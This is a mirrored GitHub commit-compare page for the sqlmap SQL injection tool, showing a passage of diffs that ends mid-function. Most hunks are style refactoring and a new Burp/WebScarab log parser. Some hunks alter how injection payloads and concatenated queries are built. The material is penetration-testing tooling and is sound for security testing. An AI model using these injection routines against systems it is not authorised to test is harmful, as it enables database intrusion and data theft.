mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
af89137f2c | ||
|
|
1f9bf587b5 | ||
|
|
f0e4c20004 | ||
|
|
cef416559a | ||
|
|
ce47b6c76e | ||
|
|
39108bc100 | ||
|
|
f63ceaa0c1 | ||
|
|
1e60378fb2 | ||
|
|
22c7bc54b4 | ||
|
|
5f1bae86b0 | ||
|
|
a0cbf6991d | ||
|
|
9f2bc00426 | ||
|
|
6bb486c1bf | ||
|
|
741ce9e3f0 | ||
|
|
a479655097 | ||
|
|
4846d85ccd | ||
|
|
3c439c3929 | ||
|
|
5cc36a5736 | ||
|
|
29dcdd3bef | ||
|
|
53eadb0af8 | ||
|
|
7b705b94e3 | ||
|
|
558484644a | ||
|
|
e84142b6a9 | ||
|
|
b44551230e | ||
|
|
4ecf6eee05 | ||
|
|
57be1856a6 | ||
|
|
a424e4ab59 | ||
|
|
4660b816d5 | ||
|
|
f92e1ebc40 | ||
|
|
48cd0421a6 | ||
|
|
4b4f728d8e | ||
|
|
e8336ecfe1 | ||
|
|
38ea0686a8 | ||
|
|
73b0de67b5 | ||
|
|
fae97b3937 | ||
|
|
c0947846f4 | ||
|
|
5e2d0bd320 | ||
|
|
4badb54607 | ||
|
|
29aaec8925 | ||
|
|
27ff5d6fec | ||
|
|
72ff6e24ff | ||
|
|
717c451b8c | ||
|
|
e5968cae31 | ||
|
|
2b55ae3e2a | ||
|
|
8f4488d608 | ||
|
|
f1254fef4b | ||
|
|
ccda26a567 | ||
|
|
099110bc1f | ||
|
|
0265b3fcfa | ||
|
|
961d2b24d1 | ||
|
|
53578bcb7c | ||
|
|
756f02fb0e | ||
|
|
17c170e1f8 | ||
|
|
220c1be162 | ||
|
|
6b06332896 | ||
|
|
c268663bd9 | ||
|
|
a97fd1dede | ||
|
|
b93284530e | ||
|
|
cf4c263a4e | ||
|
|
23777143b6 | ||
|
|
9b397f00be | ||
|
|
d47c16e196 | ||
|
|
e0c7b5c63c | ||
|
|
091c8ab2dd | ||
|
|
86303bde55 | ||
|
|
c89f119e1a | ||
|
|
25369ca591 | ||
|
|
a399b65033 | ||
|
|
ed37ae1562 | ||
|
|
5381d4d5be | ||
|
|
c1825b2651 |
@@ -80,7 +80,7 @@ def main(src, dst):
|
||||
cmd = ''
|
||||
|
||||
# Wait for incoming replies
|
||||
if sock in select.select([ sock ], [], [])[0]:
|
||||
if sock in select.select([sock], [], [])[0]:
|
||||
buff = sock.recv(4096)
|
||||
|
||||
if 0 == len(buff):
|
||||
|
||||
@@ -43,7 +43,7 @@ def updateMSSQLXML():
|
||||
|
||||
return
|
||||
|
||||
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
|
||||
releases = re.findall(r"class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
|
||||
releasesCount = len(releases)
|
||||
|
||||
# Create the minidom document
|
||||
@@ -74,7 +74,7 @@ def updateMSSQLXML():
|
||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||
|
||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||
servicepackVersion = re.findall("</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
|
||||
servicepackVersion = re.findall(r"</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
|
||||
|
||||
for servicePack, version in servicepackVersion:
|
||||
if servicePack.startswith(" "):
|
||||
|
||||
@@ -4,16 +4,15 @@
|
||||
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
|
||||
def check(filepath):
|
||||
if filepath.endswith(".py"):
|
||||
content = open(filepath, "rb").read()
|
||||
#if re.search(r"\r?\n\r?\n", content):
|
||||
content = open(filepath, "rb").read()
|
||||
|
||||
if "\n\n\n" in content:
|
||||
index = content.find("\n\n\n")
|
||||
print filepath, repr(content[index-30:index+30])
|
||||
print filepath, repr(content[index - 30:index + 30])
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Runs pep8 on all python files (prerequisite: apt-get install pep8)
|
||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \;
|
||||
Executable
+7
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \;
|
||||
@@ -27,7 +27,7 @@ SMTP_SERVER = "127.0.0.1"
|
||||
SMTP_PORT = 25
|
||||
SMTP_TIMEOUT = 30
|
||||
FROM = "[email protected]"
|
||||
#TO = "[email protected]"
|
||||
# TO = "[email protected]"
|
||||
TO = ["[email protected]", "[email protected]"]
|
||||
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
|
||||
TARGET = "debian"
|
||||
@@ -83,7 +83,7 @@ def main():
|
||||
if stderr:
|
||||
failure_email("Execution of regression test failed with error:\n\n%s" % stderr)
|
||||
|
||||
failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
|
||||
failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
|
||||
|
||||
for failed_test in failed_tests:
|
||||
title = failed_test[0]
|
||||
|
||||
@@ -433,7 +433,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
if conf.invalidLogical:
|
||||
_ = int(kb.data.randomInt[:2])
|
||||
origValue = "%s AND %s=%s" % (value, _, _ + 1)
|
||||
origValue = "%s AND %s LIKE %s" % (value, _, _ + 1)
|
||||
elif conf.invalidBignum:
|
||||
origValue = kb.data.randomInt[:6]
|
||||
elif conf.invalidString:
|
||||
@@ -558,14 +558,14 @@ def checkSqlInjection(place, parameter, value):
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
trueSet = set(extractTextTagContent(trueRawResponse))
|
||||
trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
|
||||
trueSet |= set(__ for _ in trueSet for __ in _.split())
|
||||
|
||||
falseSet = set(extractTextTagContent(falseRawResponse))
|
||||
falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
|
||||
falseSet |= set(__ for _ in falseSet for __ in _.split())
|
||||
|
||||
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
|
||||
errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
|
||||
errorSet = errorSet.union(__ for _ in errorSet for __ in _.split())
|
||||
errorSet |= set(__ for _ in errorSet for __ in _.split())
|
||||
else:
|
||||
errorSet = set()
|
||||
|
||||
|
||||
+5
-5
@@ -142,7 +142,7 @@ class Agent(object):
|
||||
match = re.search(r"\A[^ ]+", newValue)
|
||||
newValue = newValue[len(match.group() if match else ""):]
|
||||
_ = randomInt(2)
|
||||
value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
|
||||
value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
|
||||
elif conf.invalidBignum:
|
||||
value = randomInt(6)
|
||||
elif conf.invalidString:
|
||||
@@ -198,7 +198,7 @@ class Agent(object):
|
||||
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
|
||||
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
|
||||
else:
|
||||
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
|
||||
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
|
||||
|
||||
if retVal == paramString and urlencode(parameter) != parameter:
|
||||
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
|
||||
@@ -535,7 +535,7 @@ class Agent(object):
|
||||
fieldsToCastStr = fieldsToCastStr or ""
|
||||
|
||||
# Function
|
||||
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
|
||||
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
|
||||
fieldsToCastList = [fieldsToCastStr]
|
||||
else:
|
||||
fieldsToCastList = splitFields(fieldsToCastStr)
|
||||
@@ -627,7 +627,7 @@ class Agent(object):
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
|
||||
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery)
|
||||
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
@@ -639,7 +639,7 @@ class Agent(object):
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
|
||||
concatenatedQuery += "+'%s'" % kb.chars.stop
|
||||
elif fieldsSelectTop:
|
||||
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
|
||||
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
|
||||
elif fieldsSelectCase:
|
||||
|
||||
+258
-36
@@ -5,6 +5,7 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import binascii
|
||||
import codecs
|
||||
import contextlib
|
||||
import cookielib
|
||||
@@ -101,7 +102,10 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
|
||||
from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
|
||||
from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
|
||||
from lib.core.settings import BURP_REQUEST_REGEX
|
||||
from lib.core.settings import BURP_XML_HISTORY_REGEX
|
||||
from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
|
||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
@@ -139,6 +143,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.settings import PRINTABLE_CHAR_REGEX
|
||||
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
|
||||
from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT
|
||||
from lib.core.settings import PYVERSION
|
||||
from lib.core.settings import REFERER_ALIASES
|
||||
@@ -161,6 +166,7 @@ from lib.core.settings import URLENCODE_CHAR_LIMIT
|
||||
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.settings import VERSION_STRING
|
||||
from lib.core.settings import WEBSCARAB_SPLITTER
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.utils.sqlalchemy import _sqlalchemy
|
||||
from thirdparty.clientform.clientform import ParseResponse
|
||||
@@ -862,11 +868,11 @@ def boldifyMessage(message):
|
||||
retVal = message
|
||||
|
||||
if any(_ in message for _ in BOLD_PATTERNS):
|
||||
retVal = setColor(message, True)
|
||||
retVal = setColor(message, bold=True)
|
||||
|
||||
return retVal
|
||||
|
||||
def setColor(message, bold=False):
|
||||
def setColor(message, color=None, bold=False):
|
||||
retVal = message
|
||||
level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
|
||||
|
||||
@@ -874,15 +880,11 @@ def setColor(message, bold=False):
|
||||
level = unicodeencode(level)
|
||||
|
||||
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
|
||||
if bold:
|
||||
retVal = colored(message, color=None, on_color=None, attrs=("bold",))
|
||||
if bold or color:
|
||||
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
|
||||
elif level:
|
||||
level = getattr(logging, level, None) if isinstance(level, basestring) else level
|
||||
_ = LOGGER_HANDLER.level_map.get(level)
|
||||
if _:
|
||||
background, foreground, bold = _
|
||||
retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None)
|
||||
|
||||
retVal = LOGGER_HANDLER.colorize(message, level)
|
||||
kb.stickyLevel = level if message and message[-1] != "\n" else None
|
||||
|
||||
return retVal
|
||||
@@ -923,7 +925,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
||||
if conf.get("api"):
|
||||
sys.stdout.write(message, status, content_type)
|
||||
else:
|
||||
sys.stdout.write(setColor(message, bold))
|
||||
sys.stdout.write(setColor(message, bold=bold))
|
||||
|
||||
sys.stdout.flush()
|
||||
except IOError:
|
||||
@@ -1025,7 +1027,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if retVal is None:
|
||||
if checkBatch and conf.get("batch"):
|
||||
if checkBatch and conf.get("batch") or conf.get("api"):
|
||||
if isListLike(default):
|
||||
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
|
||||
elif default:
|
||||
@@ -1267,11 +1269,15 @@ def setPaths(rootPath):
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
|
||||
# history files
|
||||
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(_, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
|
||||
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
|
||||
paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst")
|
||||
paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst")
|
||||
paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst")
|
||||
|
||||
# sqlmap files
|
||||
paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst")
|
||||
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
|
||||
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
|
||||
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
|
||||
paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5")
|
||||
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
||||
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
||||
@@ -1291,7 +1297,7 @@ def setPaths(rootPath):
|
||||
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
||||
|
||||
for path in paths.values():
|
||||
if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")):
|
||||
if any(path.endswith(_) for _ in (".md5", ".txt", ".xml", ".zip")):
|
||||
checkFile(path)
|
||||
|
||||
def weAreFrozen():
|
||||
@@ -1311,13 +1317,11 @@ def parseTargetDirect():
|
||||
if not conf.direct:
|
||||
return
|
||||
|
||||
conf.direct = conf.direct.encode(UNICODE_ENCODING) # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters
|
||||
|
||||
details = None
|
||||
remote = False
|
||||
|
||||
for dbms in SUPPORTED_DBMS:
|
||||
details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
|
||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
||||
|
||||
if details:
|
||||
conf.dbms = details.group("dbms")
|
||||
@@ -1423,7 +1427,7 @@ def parseTargetUrl():
|
||||
errMsg += "on this platform"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
|
||||
if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I):
|
||||
if re.search(r":443\b", conf.url):
|
||||
conf.url = "https://%s" % conf.url
|
||||
else:
|
||||
@@ -1440,7 +1444,7 @@ def parseTargetUrl():
|
||||
errMsg += "in the hostname part"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
|
||||
hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
|
||||
|
||||
conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https"
|
||||
conf.path = urlSplit.path.strip()
|
||||
@@ -1524,14 +1528,14 @@ def expandAsteriskForColumns(expression):
|
||||
the SQL query string (expression)
|
||||
"""
|
||||
|
||||
asterisk = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
|
||||
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
|
||||
|
||||
if asterisk:
|
||||
if match:
|
||||
infoMsg = "you did not provide the fields in your query. "
|
||||
infoMsg += "sqlmap will retrieve the column names itself"
|
||||
logger.info(infoMsg)
|
||||
|
||||
_ = asterisk.group(2).replace("..", '.').replace(".dbo.", '.')
|
||||
_ = match.group(2).replace("..", '.').replace(".dbo.", '.')
|
||||
db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _)
|
||||
|
||||
if db is None:
|
||||
@@ -1866,8 +1870,7 @@ def getFilteredPageContent(page, onlyText=True, split=" "):
|
||||
# only if the page's charset has been successfully identified
|
||||
if isinstance(page, unicode):
|
||||
retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page)
|
||||
while retVal.find(2 * split) != -1:
|
||||
retVal = retVal.replace(2 * split, split)
|
||||
retVal = re.sub(r"%s{2,}" % split, split, retVal)
|
||||
retVal = htmlunescape(retVal.strip().strip(split))
|
||||
|
||||
return retVal
|
||||
@@ -3342,6 +3345,22 @@ def unhandledExceptionMessage():
|
||||
|
||||
return errMsg
|
||||
|
||||
def getLatestRevision():
|
||||
"""
|
||||
Retrieves latest revision from the offical repository
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
req = urllib2.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py")
|
||||
|
||||
try:
|
||||
content = urllib2.urlopen(req).read()
|
||||
retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P<result>[\d.]+)", content)
|
||||
except:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
def createGithubIssue(errMsg, excMsg):
|
||||
"""
|
||||
Automatically create a Github issue with unhandled exception information
|
||||
@@ -3356,7 +3375,7 @@ def createGithubIssue(errMsg, excMsg):
|
||||
|
||||
_ = re.sub(r"'[^']+'", "''", excMsg)
|
||||
_ = re.sub(r"\s+line \d+", "", _)
|
||||
_ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _)
|
||||
_ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
|
||||
_ = re.sub(r".+\Z", "", _)
|
||||
key = hashlib.md5(_).hexdigest()[:8]
|
||||
|
||||
@@ -3435,8 +3454,7 @@ def maskSensitiveData(msg):
|
||||
retVal = retVal.replace(value, '*' * len(value))
|
||||
|
||||
# Just in case (for problematic parameters regarding user encoding)
|
||||
match = re.search(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)( -?-[a-z]|\Z)", retVal)
|
||||
if match:
|
||||
for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
|
||||
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
|
||||
|
||||
if getpass.getuser():
|
||||
@@ -3523,6 +3541,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
||||
regex = r"%s\b" % regex
|
||||
|
||||
_retVal = [retVal]
|
||||
|
||||
def _thread(regex):
|
||||
try:
|
||||
_retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
|
||||
@@ -3743,7 +3762,7 @@ def expandMnemonics(mnemonics, parser, args):
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
found = sorted(options.keys(), key=lambda x: len(x))[0]
|
||||
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
|
||||
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
|
||||
warnMsg += "Resolved to shortest of those ('%s')" % found
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -3958,6 +3977,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
||||
def __init__(self, content, url):
|
||||
StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content)
|
||||
self._url = url
|
||||
|
||||
def geturl(self):
|
||||
return self._url
|
||||
|
||||
@@ -4083,7 +4103,7 @@ def getHostHeader(url):
|
||||
retVal = urlparse.urlparse(url).netloc
|
||||
|
||||
if re.search(r"http(s)?://\[.+\]", url, re.I):
|
||||
retVal = extractRegexResult("http(s)?://\[(?P<result>.+)\]", url)
|
||||
retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url)
|
||||
elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
|
||||
retVal = retVal.split(':')[0]
|
||||
|
||||
@@ -4095,6 +4115,7 @@ def checkDeprecatedOptions(args):
|
||||
"""
|
||||
|
||||
for _ in args:
|
||||
_ = _.split('=')[0].strip()
|
||||
if _ in DEPRECATED_OPTIONS:
|
||||
errMsg = "switch/option '%s' is deprecated" % _
|
||||
if DEPRECATED_OPTIONS[_]:
|
||||
@@ -4263,9 +4284,11 @@ def extractExpectedValue(value, expected):
|
||||
value = value.strip().lower()
|
||||
if value in ("true", "false"):
|
||||
value = value == "true"
|
||||
elif value in ('t', 'f'):
|
||||
value = value == 't'
|
||||
elif value in ("1", "-1"):
|
||||
value = True
|
||||
elif value == "0":
|
||||
elif value == '0':
|
||||
value = False
|
||||
else:
|
||||
value = None
|
||||
@@ -4280,7 +4303,7 @@ def hashDBWrite(key, value, serialize=False):
|
||||
Helper function for writing session data to HashDB
|
||||
"""
|
||||
|
||||
_ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE)
|
||||
_ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
|
||||
conf.hashDB.write(_, value, serialize)
|
||||
|
||||
def hashDBRetrieve(key, unserialize=False, checkConf=False):
|
||||
@@ -4288,7 +4311,7 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False):
|
||||
Helper function for restoring session data from HashDB
|
||||
"""
|
||||
|
||||
_ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE)
|
||||
_ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
|
||||
retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None
|
||||
|
||||
if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)):
|
||||
@@ -4340,7 +4363,7 @@ def resetCookieJar(cookieJar):
|
||||
|
||||
except cookielib.LoadError, msg:
|
||||
errMsg = "there was a problem loading "
|
||||
errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg))
|
||||
errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", str(msg))
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def decloakToTemp(filename):
|
||||
@@ -4386,7 +4409,7 @@ def getRequestHeader(request, name):
|
||||
|
||||
retVal = None
|
||||
|
||||
if request and name:
|
||||
if request and request.headers and name:
|
||||
_ = name.upper()
|
||||
retVal = max(value if _ == key.upper() else None for key, value in request.header_items())
|
||||
|
||||
@@ -4467,6 +4490,195 @@ def pollProcess(process, suppress_errors=False):
|
||||
|
||||
break
|
||||
|
||||
def parseRequestFile(reqFile, checkParams=True):
|
||||
"""
|
||||
Parses WebScarab and Burp logs and adds results to the target URL list
|
||||
"""
|
||||
|
||||
def _parseWebScarabLog(content):
|
||||
"""
|
||||
Parses WebScarab logs (POST method not supported)
|
||||
"""
|
||||
|
||||
reqResList = content.split(WEBSCARAB_SPLITTER)
|
||||
|
||||
for request in reqResList:
|
||||
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
|
||||
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
|
||||
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
|
||||
|
||||
if not method or not url:
|
||||
logger.debug("not a valid WebScarab log data")
|
||||
continue
|
||||
|
||||
if method.upper() == HTTPMETHOD.POST:
|
||||
warnMsg = "POST requests from WebScarab logs aren't supported "
|
||||
warnMsg += "as their body content is stored in separate files. "
|
||||
warnMsg += "Nevertheless you can use -r to load them individually."
|
||||
logger.warning(warnMsg)
|
||||
continue
|
||||
|
||||
if not(conf.scope and not re.search(conf.scope, url, re.I)):
|
||||
yield (url, method, None, cookie, tuple())
|
||||
|
||||
def _parseBurpLog(content):
|
||||
"""
|
||||
Parses Burp logs
|
||||
"""
|
||||
|
||||
if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
|
||||
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
reqResList = []
|
||||
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
port, request = match.groups()
|
||||
try:
|
||||
request = request.decode("base64")
|
||||
except binascii.Error:
|
